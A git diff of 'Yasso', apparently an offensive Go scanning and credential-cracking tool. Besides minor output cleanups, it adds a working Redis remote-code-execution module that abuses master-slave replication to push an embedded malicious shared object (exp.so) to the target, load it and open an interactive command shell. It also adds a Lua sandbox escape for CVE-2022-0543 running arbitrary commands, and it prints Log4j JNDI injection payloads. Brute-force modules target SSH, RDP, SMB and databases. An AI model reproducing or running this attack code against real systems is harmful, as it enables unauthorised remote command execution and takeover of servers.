diff --git a/cmd/all.go b/cmd/all.go index 7c504b0..ced180f 100644 --- a/cmd/all.go +++ b/cmd/all.go @@ -25,6 +25,7 @@ func init() { allCmd.Flags().StringVarP(&Hosts, "host", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path") allCmd.Flags().StringVarP(&Ports, "ports", "P", "", "Set `ports`(The format is similar to Nmap)") allCmd.Flags().BoolVar(&PingBool, "noping", false, "No use ping to scanner alive host") + allCmd.Flags().BoolVar(&NoCrack, "nocrack", false, "Do not blast fragile service") allCmd.Flags().BoolVar(&RunICMP, "icmp", false, "Use icmp to scanner alive host") allCmd.Flags().IntVar(&Runtime, "runtime", 100, "Set scanner ants pool thread") allCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy") @@ -71,11 +72,12 @@ func allRun(hostString string, portString string, jsonbool bool, runtime int, no if len(alive) > 0 { fmt.Println("----- [Yasso] Start do vuln scan -----") VulScan(alive, false, true, false) // 做漏洞扫描 + var PortResults []PortResult if len(alive) != 0 { fmt.Println("----- [Yasso] Start do port scan -----") + PortResults = PortScan(alive, ports) } - PortResults := PortScan(alive, ports) - if len(PortResults) != 0 { + if len(PortResults) != 0 && NoCrack == false { fmt.Println("----- [Yasso] Start do crack service -----") for _, v := range PortResults { var one JsonOut @@ -152,8 +154,10 @@ func allRun(hostString string, portString string, jsonbool bool, runtime int, no wg.Wait() } // 做网卡扫描 - fmt.Println("----- [Yasso] Start do Windows service scan -----") - winscan(alive, true) + if len(alive) > 0 { + fmt.Println("----- [Yasso] Start do Windows service scan -----") + winscan(alive, true) + } fmt.Println("----- [Yasso] Start do web service scan -----") out = DisMapScanJson(&out, webports) } diff --git a/cmd/brute.go b/cmd/brute.go index c40560c..b1098d5 100644 --- a/cmd/brute.go +++ b/cmd/brute.go @@ -5,10 +5,11 @@ import ( "bufio" "fmt" "github.com/panjf2000/ants/v2" + "github.com/projectdiscovery/cdncheck" "github.com/spf13/cobra" - "io" "log" "math" + "net" "os" "reflect" "strings" @@ -18,10 +19,6 @@ import ( // 爆破模块 -const ( - Clearln = "\r\x1b[2K" -) - var BruteCmd = &cobra.Command{ Use: "crack", Short: "crack module and extend tool", @@ -108,7 +105,7 @@ func SwitchBurp(service string, users []string, pass []string, hosts []string, p }) } wg.Wait() - Println(fmt.Sprintf(Clearln+"[*] brute %s done", service)) + Println(fmt.Sprintf("[*] brute %s done", service)) //Println()(service,users,pass,hosts,port,thread,BurpModule) } @@ -138,16 +135,6 @@ func burpTask(host, service string, users []string, pass []string, port int, thr } } } - if run { - go func() { - for { - for _, r := range `-\|/` { - fmt.Printf("\r%c brute: wating ... %c", r, r) - time.Sleep(200 * time.Millisecond) - } - } - }() - } if service == "redis" && run == true { BurpCall(BurpModule, "unredis", config.HostIn{Host: host, Port: BrutePort, TimeOut: TimeDuration}, "test", "test") } @@ -195,7 +182,7 @@ func burpStatus(result []reflect.Value, service, host, domain, user, pass string out.WeakPass = append(out.WeakPass, map[string]map[string]string{service: {user: pass}}) lock.Unlock() } - Println(fmt.Sprintf(Clearln+`[+] %s brute %s success [%v%s:%s]`, host, service, domain, user, pass)) + Println(fmt.Sprintf(`[+] %s brute %s success [%v%s:%s]`, host, service, domain, user, pass)) } } } @@ -203,24 +190,16 @@ func burpStatus(result []reflect.Value, service, host, domain, user, pass string } func Readiness(file *os.File) []string { - var readiness []string /*定义一个空切片用于存储遍历后的数据*/ - buf := bufio.NewReader(file) /*建立一个缓冲区,将文本内容写入缓冲区*/ - for { - data, errR := buf.ReadBytes('\n') /*读取到\n截至*/ - if errR != nil { - if errR == io.EOF { - break - } - return readiness + var readiness []string /*定义一个空切片用于存储遍历后的数据*/ + scanner := bufio.NewScanner(file) + scanner.Split(bufio.ScanLines) + for scanner.Scan() { + text := strings.TrimSpace(scanner.Text()) + if text != "" { + readiness = append(readiness, text) } - str := strings.TrimSpace(string(data)) - // 修复读取时出现空的导致抛出panic - if str == "" { - continue - } - - readiness = append(readiness, str) /*将去除换行符的字符串写入切片*/ } + readiness = SplitUrlToIpList(readiness, 100) return readiness } @@ -240,7 +219,7 @@ func ReadTextToDic(service, user, pass string) ([]string, []string) { if user != "" && strings.Contains(user, ".txt") { userive, err := os.Open(user) if err != nil { - Println(fmt.Sprintf(Clearln+"[ERROR] Open %s is failed,please check your user dic path", UserDic)) + Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your user dic path", UserDic)) return []string{}, []string{} } userdic = Readiness(userive) @@ -248,10 +227,84 @@ func ReadTextToDic(service, user, pass string) ([]string, []string) { if pass != "" && strings.Contains(pass, ".txt") { passive, err := os.Open(pass) if err != nil { - Println(fmt.Sprintf(Clearln+"[ERROR] Open %s is failed,please check your pass dic path", PassDic)) + Println(fmt.Sprintf("[ERROR] Open %s is failed,please check your pass dic path", PassDic)) return []string{}, []string{} } passdic = Readiness(passive) } return userdic, passdic } + +func SplitUrlToIpList(list []string, thread int) []string { + cdnClient, err := cdncheck.NewWithCache() + if err != nil { + Println(fmt.Sprintf("[ERROR] new cdn cache has an error %v", err)) + } + checkChan := make(chan string, 100) + var wg sync.WaitGroup + var re []string + for i := 0; i < thread; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for host := range checkChan { + ip, err := net.LookupHost(host) + if err != nil { + continue + } + if ip != nil { + for _, i := range ip { + re = append(re, i) + Println(fmt.Sprintf("[*] %v:%v", host, ip)) + } + } + } + }() + } + // 判断前缀,将其添加到需要解析的列表当中 + for _, domain := range list { + if strings.Contains(domain, "http://") { + domain = strings.TrimPrefix(domain, "http://") + } + if strings.Contains(domain, "https://") { + domain = strings.TrimPrefix(domain, "https://") + } + checkChan <- domain + } + close(checkChan) + wg.Wait() + re = remove(re) // 移除重复结果 + // 移除cdn结果 + var resp []string + for _, ip := range re { + success := cdnFilter(ip, cdnClient) + if success != "" && !strings.Contains(ip, ":") { + resp = append(resp, success) + } else { + Println(fmt.Sprintf("[*] %s has cdn", ip)) + } + } + return resp +} + +// cdn 过滤器 +func cdnFilter(ip string, client *cdncheck.Client) string { + if found, _, err := client.Check(net.ParseIP(ip)); found && err == nil { + return "" + } + return ip +} + +// remove 移除重复结果 +func remove(slc []string) []string { + var result []string + tempMap := map[string]byte{} // 存放不重复主键 + for _, e := range slc { + l := len(tempMap) + tempMap[e] = 0 + if len(tempMap) != l { // 加入map后,map长度变化,则元素不重复 + result = append(result, e) + } + } + return result +} diff --git a/cmd/ftp.go b/cmd/ftp.go index b867768..280be55 100644 --- a/cmd/ftp.go +++ b/cmd/ftp.go @@ -34,11 +34,11 @@ func BruteFtpByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("ftp", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [ftp]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [ftp]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("ftp", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } } diff --git a/cmd/grdp.go b/cmd/grdp.go index bc54028..afb508e 100644 --- a/cmd/grdp.go +++ b/cmd/grdp.go @@ -53,11 +53,11 @@ func BruteRdpByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("rdp", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [rdp]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [rdp]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("rdp", users, pass, ips, BrutePort, Runtime, TimeDuration, BruteDomain) } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } } diff --git a/cmd/log4j.go b/cmd/log4j.go index f34d92b..fb6cd78 100644 --- a/cmd/log4j.go +++ b/cmd/log4j.go @@ -26,12 +26,12 @@ var Log4jCmd = &cobra.Command{ } t := strings.Split(log4listenAddr, ":") if len(t) == 2 { - Println(Clearln + "Press ctrl+c to shutdown") + Println("Press ctrl+c to shutdown") go Log4jCheckServer(t[0], t[1]) c := make(chan os.Signal, 1) signal.Notify(c, os.Interrupt, syscall.SIGTERM) <-c - Println(Clearln + "ctrl+c detected. Shutting down") + Println("ctrl+c detected. Shutting down") } }, } @@ -45,7 +45,7 @@ func Log4j2HandleRequest(conn net.Conn) { buf := make([]byte, 1024) num, err := conn.Read(buf) if err != nil { - Println(fmt.Sprintf(Clearln+"accept data reading err %v", err)) + Println(fmt.Sprintf("accept data reading err %v", err)) _ = conn.Close() return } @@ -88,20 +88,20 @@ func RMI(data []byte) bool { func Log4jCheckServer(host string, port string) { listen, err := net.Listen("tcp", fmt.Sprintf("%s:%s", host, port)) if err != nil { - Println(Clearln + "log4j listen server failed") + Println("log4j listen server failed") return } defer listen.Close() //Println()(fmt.Sprintf("[Log4j2] Listen start on %s:%s",host,port)) - Println(Clearln + "[payload]: ") - Println(fmt.Sprintf(Clearln+"==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}", host, port)) - Println(fmt.Sprintf(Clearln+"==> ${${::-j}ndi:rmi://%v:%v/poc}", host, port)) - Println(fmt.Sprintf(Clearln+"==> ${jndi:ldap://%v:%v/poc}", host, port)) + Println("[payload]: ") + Println(fmt.Sprintf("==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}", host, port)) + Println(fmt.Sprintf("==> ${${::-j}ndi:rmi://%v:%v/poc}", host, port)) + Println(fmt.Sprintf("==> ${jndi:ldap://%v:%v/poc}", host, port)) Println("-----------------------------------") for { conn, err := listen.Accept() if err != nil { - Println(fmt.Sprintf(Clearln+"accept failed %v", err)) + Println(fmt.Sprintf("accept failed %v", err)) continue } go Log4j2HandleRequest(conn) diff --git a/cmd/mongo.go b/cmd/mongo.go index baead81..3fb254b 100644 --- a/cmd/mongo.go +++ b/cmd/mongo.go @@ -37,12 +37,12 @@ func BruteMongoByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("mongodb", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [mongodb]") - Println(Clearln + "[*] MongoDB Authorized crack") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [mongodb]") + Println("[*] MongoDB Authorized crack") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("mongodb", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } } @@ -115,7 +115,7 @@ func MongoUnAuth(info config.HostIn, user, pass string) (bool, error) { text := string(reply[0:count]) if strings.Contains(text, "totalLinesWritten") { flag = true - Println(fmt.Sprintf(Clearln+"[+] Mongodb %v unauthorized", info.Host)) + Println(fmt.Sprintf("[+] Mongodb %v unauthorized", info.Host)) } } return flag, nil diff --git a/cmd/mssql.go b/cmd/mssql.go index 41c856b..c44ab4b 100644 --- a/cmd/mssql.go +++ b/cmd/mssql.go @@ -21,7 +21,6 @@ import ( /* 内网mssql数据库比较多,可以完善一下clr和xp_cmdshell,spoacreate */ - var ( HelpWarSQLKit int InWarSQLKit int @@ -76,11 +75,11 @@ func MssqlBurpByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("mssql", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [mssql]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [mssql]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("mssql", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" { diff --git a/cmd/mysql.go b/cmd/mysql.go index e2cf05b..3dfda4e 100644 --- a/cmd/mysql.go +++ b/cmd/mysql.go @@ -40,11 +40,11 @@ func BruteMysqlByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("mysql", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [mysql]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [mysql]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("mysql", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } if Hosts == "" && ConnHost != "" { diff --git a/cmd/postgres.go b/cmd/postgres.go index b091bfc..722da18 100644 --- a/cmd/postgres.go +++ b/cmd/postgres.go @@ -35,11 +35,11 @@ func BrutePostgreByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("postgres", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [postgres]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [postgres]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("postgres", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } } diff --git a/cmd/redis.go b/cmd/redis.go index 064d7f7..69c177a 100644 --- a/cmd/redis.go +++ b/cmd/redis.go @@ -4,15 +4,24 @@ package cmd import ( "Yasso/config" "bufio" + "context" + _ "embed" "errors" "fmt" + "github.com/go-redis/redis/v8" "github.com/spf13/cobra" + "io" "net" "os" + "path/filepath" "strings" + "sync" "time" ) +//go:embed static/exp.so +var payload []byte + var RedisCmd = &cobra.Command{ Use: "redis", Short: "Redis burst and Redis extend tools (support proxy)", @@ -27,6 +36,11 @@ var RedisCmd = &cobra.Command{ var ( RemoteHost string RemotePublicKey string + LocalHost string + LocalPort int + RemoteSoPath string + IsRCE bool + RedisRCEMethod string ) func init() { @@ -35,6 +49,12 @@ func init() { RedisCmd.Flags().StringVar(&ConnHost, "hostname", "", "Redis will connect this address") RedisCmd.Flags().StringVar(&LoginPass, "pass", "", "set login pass") RedisCmd.Flags().StringVar(&SQLCommand, "sql", "", "Execute redis sql command") + RedisCmd.Flags().StringVar(&LocalHost, "lhost", "", "set local listen host (target redis need connect)") + RedisCmd.Flags().IntVar(&LocalPort, "lport", 20001, "set local listen port (target redis need connect)") + RedisCmd.Flags().StringVar(&RemoteSoPath, "so", "", "set target so path (not must)") + RedisCmd.Flags().StringVar(&RedisRCEMethod, "method", "rce", "rce(master-slave) or lua(CVE-2022-0543)") + RedisCmd.Flags().BoolVar(&IsRCE, "rce", false, "Whether to try rCE vulnerability") + } func BruteRedisByUser() { @@ -51,12 +71,12 @@ func BruteRedisByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("redis", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [redis]") - Println(Clearln + "[*] Redis Authorized crack") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [redis]") + Println("[*] Redis Authorized crack") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("redis", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } if Hosts == "" && ConnHost != "" && (RemoteHost != "" || RemotePublicKey != "" || SQLCommand != "") { @@ -83,8 +103,22 @@ func BruteRedisByUser() { if status == true { RedisExploit(conn, RemoteHost, RemotePublicKey) } + } + if Hosts == "" && ConnHost != "" && RedisRCEMethod != "" && IsRCE == true && LocalHost != "" { + client := InitRedisClient(ConnHost, BrutePort, LoginPass) + if strings.ToLower(RedisRCEMethod) == "rce" && LocalHost != "" && LocalPort != 0 { + // 主从复制 + RedisRCE(client, LocalHost, LocalPort, RemoteSoPath) + } else if strings.ToLower(RedisRCEMethod) == "lua" { + //lua 沙盒逃逸 + RedisLua(client) + } else { + Println("[*] you need choose a rce method") + return + } + _ = client.Close() } else { - Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound") + Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound or --rce rce") } } @@ -120,7 +154,7 @@ func RedisAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, error if strings.Contains(reply, "+OK") { flag = true conf := RedisInfo(conn, reply) - Println(fmt.Sprintf(Clearln+"[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]", info.Host, info.Port, conf.OS, conf.ConfigPath, conf.DbFileName, conf.PID)) + Println(fmt.Sprintf("[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]", info.Host, info.Port, conf.OS, conf.ConfigPath, conf.DbFileName, conf.PID)) } return conn, flag, nil } @@ -147,7 +181,7 @@ func RedisUnAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, err if strings.Contains(reply, "redis_version") { flag = true conf := RedisInfo(conn, reply) - Println(fmt.Sprintf("%v[+] Redis %s:%v unauthorized dbfilename:[%v] ", Clearln, info.Host, info.Port, conf.DbFileName)) + Println(fmt.Sprintf("[+] Redis %s:%v unauthorized dbfilename:[%v] ", info.Host, info.Port, conf.DbFileName)) } return conn, flag, nil } @@ -175,11 +209,6 @@ func RedisReply(conn net.Conn) (string, error) { func RedisInfo(conn net.Conn, reply string) RedisConfig { var ( - // 第0个是#Server - //version = strings.Split(strings.Split(reply, "\r\n")[2], ":")[1] // redis version - //os = strings.Split(strings.Split(reply, "\r\n")[7], ":")[1] // os - //pid = strings.Split(strings.Split(reply, "\r\n")[11], ":")[1] // redis pid - //install = strings.Split(strings.Split(reply, "\r\n")[18], ":")[1] dbfilename string ) // 读取filename @@ -199,13 +228,8 @@ func RedisInfo(conn net.Conn, reply string) RedisConfig { } var redisConfig = RedisConfig{ - //Version: version, - //OS: os, - //PID: pid, - //ConfigPath: install, DbFileName: dbfilename, } - //Println()(redisConfig) return redisConfig } @@ -448,3 +472,210 @@ func ReadKeyFile(filename string) (string, error) { } return "", err } + +func RedisRCE(client *redis.Client, LHost string, LPort int, SoPath string) { + // 设置so文件存放路径 + var dest string + if SoPath == "" { + dest = "/tmp/net.so" + } else { + dest = SoPath + } + Rexec(fmt.Sprintf("slaveof %v %v", LHost, LPort), client) + fmt.Println(fmt.Sprintf("[+] slaveof %v %v", LHost, LPort)) + dbfilename, dir := getInformation(client) + filenameDir, filename := filepath.Split(dest) + Rexec(fmt.Sprintf("config set dir %v", filenameDir), client) + Rexec(fmt.Sprintf("config set dbfilename %v", filename), client) + // 做监听 + ListenLocal(fmt.Sprintf("%v:%v", LHost, LPort)) + // 重置数据库 + reStore(client, dir, dbfilename) + // 加载so文件 + s := Rexec(fmt.Sprintf("module load %v", dest), client) + if s == "need unload" { + fmt.Println("[+] try to unload") + Rexec(fmt.Sprintf("module unload system"), client) + fmt.Println("[+] to the load") + Rexec(fmt.Sprintf("module load %v", dest), client) + } + fmt.Println("[+] module load success") + // 循环执行命令 + reader := bufio.NewReader(os.Stdin) + for { + var cmd string + fmt.Printf("[redis-rce]» ") + cmd, _ = reader.ReadString('\n') + cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "") + if cmd == "exit" { + cmd = fmt.Sprintf("rm %v", dest) + run(fmt.Sprintf(cmd), client) + Rexec(fmt.Sprintf("module unload system"), client) + fmt.Println("[+] module unload system break redis-rce") + break + } + Receive(run(fmt.Sprintf(cmd), client)) + } + os.Exit(0) +} + +func RedisLua(client *redis.Client) { + reader := bufio.NewReader(os.Stdin) + for { + var cmd string + fmt.Printf("[redis-lua]» ") + cmd, _ = reader.ReadString('\n') + cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "") + if cmd == "exit" { + break + } + Receive(execLua(cmd, client)) + } + os.Exit(0) +} + +func Rexec(cmd string, client *redis.Client) string { + args := strings.Fields(cmd) + var argsInterface []interface{} + for _, arg := range args { + argsInterface = append(argsInterface, arg) + } + //Send(cmd) + val, err := client.Do(context.Background(), argsInterface...).Result() + return Check(val, err) +} + +func getInformation(client *redis.Client) (string, string) { + r := Rexec("config get dbfilename", client) + if !strings.HasPrefix(r, "dbfilename") { + return "", "" + } + dbfilename := r[11 : len(r)-1] + d := Rexec("config get dir", client) + if !strings.HasPrefix(d, "dir") { + return "", "" + } + dir := d[4 : len(d)-1] + return dbfilename, dir +} + +func Send(str string) { + str = strings.TrimSpace(str) + fmt.Println(fmt.Sprintf("[->] %v", str)) +} + +func Receive(str string) { + str = strings.TrimSpace(str) + fmt.Println(fmt.Sprintf("%v", str)) +} + +func Check(val interface{}, err error) string { + if err != nil { + if err == redis.Nil { + fmt.Println("[!] key is not exist") + return "" + } + fmt.Println(fmt.Sprintf("[!] %v", err.Error())) + if err.Error() == "ERR Error loading the extension. Please check the server logs." { + return "need unload" + } + os.Exit(0) + } + switch v := val.(type) { + case string: + return v + case []string: + return "list result:" + strings.Join(v, " ") + case []interface{}: + s := "" + for _, i := range v { + s += i.(string) + " " + } + return s + } + return "" +} + +func ListenLocal(address string) { + var wg = &sync.WaitGroup{} + wg.Add(1) + addr, err := net.ResolveTCPAddr("tcp", address) + if err != nil { + fmt.Println("[!] resolve tcp address failed") + os.Exit(0) + } + listen, err := net.ListenTCP("tcp", addr) + if err != nil { + fmt.Println("[!] listen tcp address failed") + os.Exit(0) + } + defer listen.Close() + fmt.Println(fmt.Sprintf("[*] start listen in %v", address)) + c, err := listen.AcceptTCP() + if err != nil { + fmt.Println("[!] accept tcp failed") + os.Exit(0) + } + go masterSlave(wg, c) + wg.Wait() + _ = c.Close() +} + +func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) { + defer wg.Done() + buf := make([]byte, 1024) + for { + time.Sleep(1 * time.Second) + n, err := c.Read(buf) + if err == io.EOF || n == 0 { + fmt.Println("[*] master-slave replication process is complete") + return + } + switch { + case strings.Contains(string(buf[:n]), "PING"): + c.Write([]byte("+PONG\r\n")) + //Send("+PONG") + case strings.Contains(string(buf[:n]), "REPLCONF"): + c.Write([]byte("+OK\r\n")) + //Send("+OK") + case strings.Contains(string(buf[:n]), "SYNC"): + resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符 + resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n" + rep := []byte(resp) + rep = append(rep, payload...) + rep = append(rep, []byte("\r\n")...) + c.Write(rep) + //Send(resp) + } + } +} + +func reStore(client *redis.Client, dir, dbfilename string) { + success := Rexec("slaveof no one", client) + if strings.Contains(success, "OK") { + fmt.Println("[+] restore file success") + } + Rexec(fmt.Sprintf("config set dir %v", dir), client) + Rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client) +} + +func run(cmd string, client *redis.Client) string { + ctx := context.Background() + val, err := client.Do(ctx, "system.exec", cmd).Result() + return Check(val, err) +} + +func execLua(cmd string, client *redis.Client) string { + ctx := context.Background() + val, err := client.Do(ctx, "eval", fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`, cmd), "0").Result() + return Check(val, err) +} + +func InitRedisClient(host string, port int, pass string) *redis.Client { + rdb := redis.NewClient(&redis.Options{ + Addr: fmt.Sprintf("%v:%v", host, port), + Password: pass, // no password set + DB: 0, // use default DB + }) + return rdb +} diff --git a/cmd/root.go b/cmd/root.go index fd6cfa1..82b391d 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -27,6 +27,7 @@ var ( SQLShellBool bool // 是否启动sql—shell SQLCommand string // sql语句单条命令行 WinRMbool bool // winrm shell + NoCrack bool // 判断all模块是否爆破服务 ) var rootCmd = &cobra.Command{ diff --git a/cmd/smb.go b/cmd/smb.go index 5176dd0..fc35b89 100644 --- a/cmd/smb.go +++ b/cmd/smb.go @@ -39,11 +39,11 @@ func BruteSmbByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("smb", UserDic, PassDic) - Println(Clearln + "[*] Brute Module [smb]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [smb]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("smb", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } } diff --git a/cmd/ssh.go b/cmd/ssh.go index d3f4761..f88b411 100644 --- a/cmd/ssh.go +++ b/cmd/ssh.go @@ -49,32 +49,32 @@ func BruteSshByUser() { if BruteFlag == true { users, pass := ReadTextToDic("ssh", UserDic, PassDic) //fmt.Println(users, pass) - Println(Clearln + "[*] Brute Module [ssh]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [ssh]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("ssh", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } if ConnHost != "" && Hosts == "" && (LoginUser != "" && (LoginPass != "" || LoginPublicKey != "")) && BruteFlag != true { if LoginUser != "" && LoginPass != "" { client, status, err := SshConnByUser(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, LoginUser, LoginPass) if err != nil { - Println(fmt.Sprintf(Clearln+"[-] Login ssh failed %v", err)) + Println(fmt.Sprintf("[-] Login ssh failed %v", err)) return } if status == true { //认证成功 SshLogin(client) } else { - Println(Clearln + "[-] The username or password is incorrect") + Println("[-] The username or password is incorrect") return } } if LoginPublicKey != "" && LoginUser != "" { client, status, err := sshConnByKey(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration, PublicKey: LoginPublicKey}, LoginUser) if err != nil { - Println(fmt.Sprintf(Clearln+"[-] Login ssh failed %v", err)) + Println(fmt.Sprintf("[-] Login ssh failed %v", err)) return } if status == true { @@ -82,13 +82,13 @@ func BruteSshByUser() { SshLogin(client) return } else { - Println(Clearln + "[-] The username or password is incorrect") + Println("[-] The username or password is incorrect") return } } } if Hosts == "" && ConnHost != "" && BruteFlag == false && (LoginUser == "" || LoginPublicKey == "") { - Println(Clearln + "[*] May be you want login ssh? try to add user and (user' key) or (user' pass)") + Println("[*] May be you want login ssh? try to add user and (user' key) or (user' pass)") return } } diff --git a/cmd/static/exp.so b/cmd/static/exp.so new file mode 100644 index 0000000..b29439d Binary files /dev/null and b/cmd/static/exp.so differ diff --git a/cmd/version.go b/cmd/version.go index 54991ea..046d7a9 100644 --- a/cmd/version.go +++ b/cmd/version.go @@ -8,7 +8,7 @@ var versionCmd = &cobra.Command{ Use: "version", Short: "Print Yasso's version in screen", Run: func(cmd *cobra.Command, args []string) { - Println(Clearln + "Yasso Version is 0.1.2") + Println("Yasso Version is 0.1.2") }, } diff --git a/cmd/winrm.go b/cmd/winrm.go index 58e0206..9fa790e 100644 --- a/cmd/winrm.go +++ b/cmd/winrm.go @@ -44,11 +44,11 @@ func WinBurpByUser() { } if BruteFlag == true { users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm 和 rdp认证相同 - Println(Clearln + "[*] Brute Module [winrm]") - Println(fmt.Sprintf(Clearln+"[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) + Println("[*] Brute Module [winrm]") + Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips))) SwitchBurp("winrm", users, pass, ips, BrutePort, Runtime, TimeDuration, "") } else { - Println(Clearln + "[*] May be you want to brute? try to add --crack") + Println("[*] May be you want to brute? try to add --crack") } } if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != "" { diff --git a/go.mod b/go.mod index bee76af..d5dd3b7 100644 --- a/go.mod +++ b/go.mod @@ -5,8 +5,8 @@ go 1.16 require ( github.com/cheggaaa/pb/v3 v3.0.8 github.com/denisenkom/go-mssqldb v0.11.0 + github.com/go-redis/redis/v8 v8.11.5 github.com/go-sql-driver/mysql v1.6.0 - github.com/godror/godror v0.30.1 github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect github.com/jlaffaye/ftp v0.0.0-20211117213618-11820403398b github.com/lib/pq v1.10.4 @@ -14,12 +14,12 @@ require 